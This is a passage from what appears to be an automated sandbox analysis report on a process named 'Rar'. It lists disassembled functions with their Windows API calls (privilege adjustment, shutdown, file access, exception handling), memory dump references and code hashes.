SetSuspendState.POWRPROF ref: 00007FF6F67FE25D
ExitWindowsEx.USER32 ref: 00007FF6F67FE271

Strings

SeShutdownPrivilege, xrefs: 00007FF6F67FE1FB

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentExitLookupOpenPrivilegePrivilegesStateSuspendValueWindows
String ID: SeShutdownPrivilege
API String ID: 651064505-3733053543
Opcode ID: cfcfba1bb786d84c922a987cc20a29a077e801e4291b56ea33a3cc0b20d3a344
Instruction ID: 65506ced661bee7dcac1aabf1bbbaa39ca2ae53439c73a064e570cb3fd0d5af5
Opcode Fuzzy Hash: cfcfba1bb786d84c922a987cc20a29a077e801e4291b56ea33a3cc0b20d3a344
Instruction Fuzzy Hash: 7921A271A2CB4292FB50CB20E4A5B7A63A9EFC5744F505039D96E865D4FF3FE0448B50

Function 00007FF6F67CF944 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000004,?,?,00000001,00000001,00007FF6F67B25C0), ref: 00007FF6F67CF9B1
FindClose.KERNEL32 ref: 00007FF6F67CF9C4
CreateFileW.KERNEL32 ref: 00007FF6F67CFA11

Part of subcall function 00007FF6F67D0874: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6F67D0767), ref: 00007FF6F67D0897
Part of subcall function 00007FF6F67D0874: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6F67D0767), ref: 00007FF6F67D08A8
Part of subcall function 00007FF6F67D0874: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6F67D08CB
Part of subcall function 00007FF6F67D0874: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6F67D08EE
Part of subcall function 00007FF6F67D0874: GetLastError.KERNEL32 ref: 00007FF6F67D08F8
Part of subcall function 00007FF6F67D0874: CloseHandle.KERNEL32 ref: 00007FF6F67D090B

DeviceIoControl.KERNEL32 ref: 00007FF6F67CFA85
CloseHandle.KERNEL32 ref: 00007FF6F67CFA90

Strings

SeBackupPrivilege, xrefs: 00007FF6F67CF996

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 8633ee62862fdcc8e2fd3ad577578e4ca7bf105ced53ceedb5d38adc42bcf22d
Instruction ID: 7de47937ad3911669e2739ede5f7bf77823d69a0cc105bda2dda4bc2855b567a
Opcode Fuzzy Hash: 8633ee62862fdcc8e2fd3ad577578e4ca7bf105ced53ceedb5d38adc42bcf22d
Instruction Fuzzy Hash: EC61D132A18682C6EB248F21E4606B973A8FF44794F404639DB7E87AD4EF3EE554C700

Function 00007FF6F680D898 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6F680D8B4
RtlCaptureContext.KERNEL32 ref: 00007FF6F680D8E1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6F680D8FB
RtlVirtualUnwind.KERNEL32 ref: 00007FF6F680D93C
IsDebuggerPresent.KERNEL32 ref: 00007FF6F680D990
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6F680D9B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6F680D9BC

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e42e0eb64b72f3c4962666a914156f034efb39a625c6090426acbad6c2cdbe2d
Instruction ID: 2d937a79a83ba4bea5b98c39829812364b2a50ceca922f8bfb858df06b17d8f5
Opcode Fuzzy Hash: e42e0eb64b72f3c4962666a914156f034efb39a625c6090426acbad6c2cdbe2d
Instruction Fuzzy Hash: A1317272619B8196EB608F60E8503ED7368FB84744F44583ADA6E87BC5EF3DD648C720

Function 00007FF6F6812078 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6F68120F1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6F6812109
RtlVirtualUnwind.KERNEL32 ref: 00007FF6F6812144
IsDebuggerPresent.KERNEL32 ref: 00007FF6F681217D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6F6812187
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6F6812192

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e66e7afb328279c344b59fd8cc707b7a872ce9c0865925e34ce8aeabaedddd95
Instruction ID: b55762e8b922489443c76e1d14533c59a23789ce7d69437339586f6789add5a9
Opcode Fuzzy Hash: e66e7afb328279c344b59fd8cc707b7a872ce9c0865925e34ce8aeabaedddd95
Instruction Fuzzy Hash: A1317336628B8196D760CF25E8502EE73A8FB88754F540539EABD83B94EF3DD145CB10

Function 00007FF6F67D0874 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6F67D0767), ref: 00007FF6F67D0897
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6F67D0767), ref: 00007FF6F67D08A8
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6F67D08CB
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6F67D08EE
GetLastError.KERNEL32 ref: 00007FF6F67D08F8
CloseHandle.KERNEL32 ref: 00007FF6F67D090B

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: 9b4351b47aafbb6e4e0cb0e3f24fbdb5f81c7d8bea0dfffc4fbbf4486d6594bd
Instruction ID: edd76f2c96fab3134fd386d6d9c3f757cb40e6c8fa88cdedda27441985a57fc6
Opcode Fuzzy Hash: 9b4351b47aafbb6e4e0cb0e3f24fbdb5f81c7d8bea0dfffc4fbbf4486d6594bd
Instruction Fuzzy Hash: 1F11663262874187E750CF21F45166B73B9FB84B90F445539EAAE83698EF3DD005CB50

Function 00007FF6F67EE1D4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 408COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67EE44F

Part of subcall function 00007FF6F67FE30C: Sleep.KERNEL32 ref: 00007FF6F67FE36C

Strings

%ls%0*u.rev, xrefs: 00007FF6F67EE43A
, xrefs: 00007FF6F67EE57A

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: ecae44693339fae9063331267e4b9af0c2940af8047fc0947307b09619232d40
Instruction ID: 66c92fde90e4c06a9ef2e507b69956f68b631a1f64a2364b3b6f3e4ea001b0d9
Opcode Fuzzy Hash: ecae44693339fae9063331267e4b9af0c2940af8047fc0947307b09619232d40
Instruction Fuzzy Hash: F2020232A0868286EB24DF25E4201ED77A9FB84B84F404536EA6D977D9EF7EE444C740

Function 00007FF6F67B9224 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 313COMMON

Download Yara Rule

APIs

OemToCharBuffA.USER32 ref: 00007FF6F67B9532
OemToCharA.USER32 ref: 00007FF6F67B9652

Strings

CMT, xrefs: 00007FF6F67B96CF

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Char$Buff
String ID: CMT
API String ID: 2837692540-2756464174
Opcode ID: d0c7ddd6a68dc7166866c09fe11a79c1d750084f113292c02b67327d6bb410ab
Instruction ID: 81be9fc3301dc407bccf0f3f227e280397792d798b1730786edc0c5c72afa11c
Opcode Fuzzy Hash: d0c7ddd6a68dc7166866c09fe11a79c1d750084f113292c02b67327d6bb410ab
Instruction Fuzzy Hash: 8FD1E862B1968292EB24DB25D5601BD63A9FF45784F004531DABE83BEAFF3EE451C700

Function 00007FF6F681B624 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F681B654

Part of subcall function 00007FF6F68122D4: GetCurrentProcess.KERNEL32(00007FF6F681CC15), ref: 00007FF6F6812301

Strings

., xrefs: 00007FF6F681BA74
*?, xrefs: 00007FF6F681B67B

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 05958b3ba9abd4a5c1f9005be2538b90956b20d7d36c79b43dadb58807698255
Instruction ID: 816bfce49fda40165e9cd432ebda23b980e002cb015520b425728d515ab5be19
Opcode Fuzzy Hash: 05958b3ba9abd4a5c1f9005be2538b90956b20d7d36c79b43dadb58807698255
Instruction Fuzzy Hash: 3851F462B2469981EB10CF6299014FD67A8FB59BD8B44553ADE3D87BC5EE3DD0428310

Function 00007FF6F67FDFA0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6F67FDFFD
CheckTokenMembership.ADVAPI32 ref: 00007FF6F67FE014
FreeSid.ADVAPI32 ref: 00007FF6F67FE025

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 94c755d3235345e7ae85509edf06bd8433268027e1239121a774a0e4b05c37b2
Instruction ID: c1477b385a7f01fddb5092d787659cae900295eba7b99422786f42ef68b2e652
Opcode Fuzzy Hash: 94c755d3235345e7ae85509edf06bd8433268027e1239121a774a0e4b05c37b2
Instruction Fuzzy Hash: 51118C72F34A018FFB108B60E4663AE37B4FB4476AF000529DA5996A98EF3DC1488B54

Function 00007FF6F67CE0FC Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF6F67CE3EA), ref: 00007FF6F67CE10C
FormatMessageW.KERNEL32 ref: 00007FF6F67CE135

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 169959e4f83a9ba218ad4641585565d441e8d48e6498cfb1f808e88e467dfa57
Instruction ID: 3ac6d48ef14b1c0bd77f84bd426ad0a18d345552ee9d4d698e9fd182bc3b2e81
Opcode Fuzzy Hash: 169959e4f83a9ba218ad4641585565d441e8d48e6498cfb1f808e88e467dfa57
Instruction Fuzzy Hash: 75E0E572B1864183F7108F22B44432AA399BF54BC4F088138EA6987BD4EF3CC5508704

Function 00007FF6F67FD3B8 Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00007FF6F67ECF23), ref: 00007FF6F67FD406

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b96c3536438ba56e52f149a804fc1c5785fc048806338c23221901e53da4e683
Instruction ID: 699aa110229b90535e1ac56adb7149c7119f639a63d521f2da7cd56b6e8a70e4
Opcode Fuzzy Hash: b96c3536438ba56e52f149a804fc1c5785fc048806338c23221901e53da4e683
Instruction Fuzzy Hash: 2E31D53272865182E754DF15E060AB923A8FB48B90F405335EE6A937E0FF3DE591C780

Function 00007FF6F67D5B8C Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32 ref: 00007FF6F67D5BE7

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 3d4487798defac5257dbc4d401ba3845844d7f18bf0c6538fb22cae8341d4d45
Instruction ID: ed2faebfb02234a5766dfe7d9dccc1d8b16a70c035a868a08374ffe24f469210
Opcode Fuzzy Hash: 3d4487798defac5257dbc4d401ba3845844d7f18bf0c6538fb22cae8341d4d45
Instruction Fuzzy Hash: 3E014C7262868187EB30DB15E4523EA73A9FB85744F804535E6DDC6688EF3DD648CF10

Function 00007FF6F681CC70 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6F681CC74

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
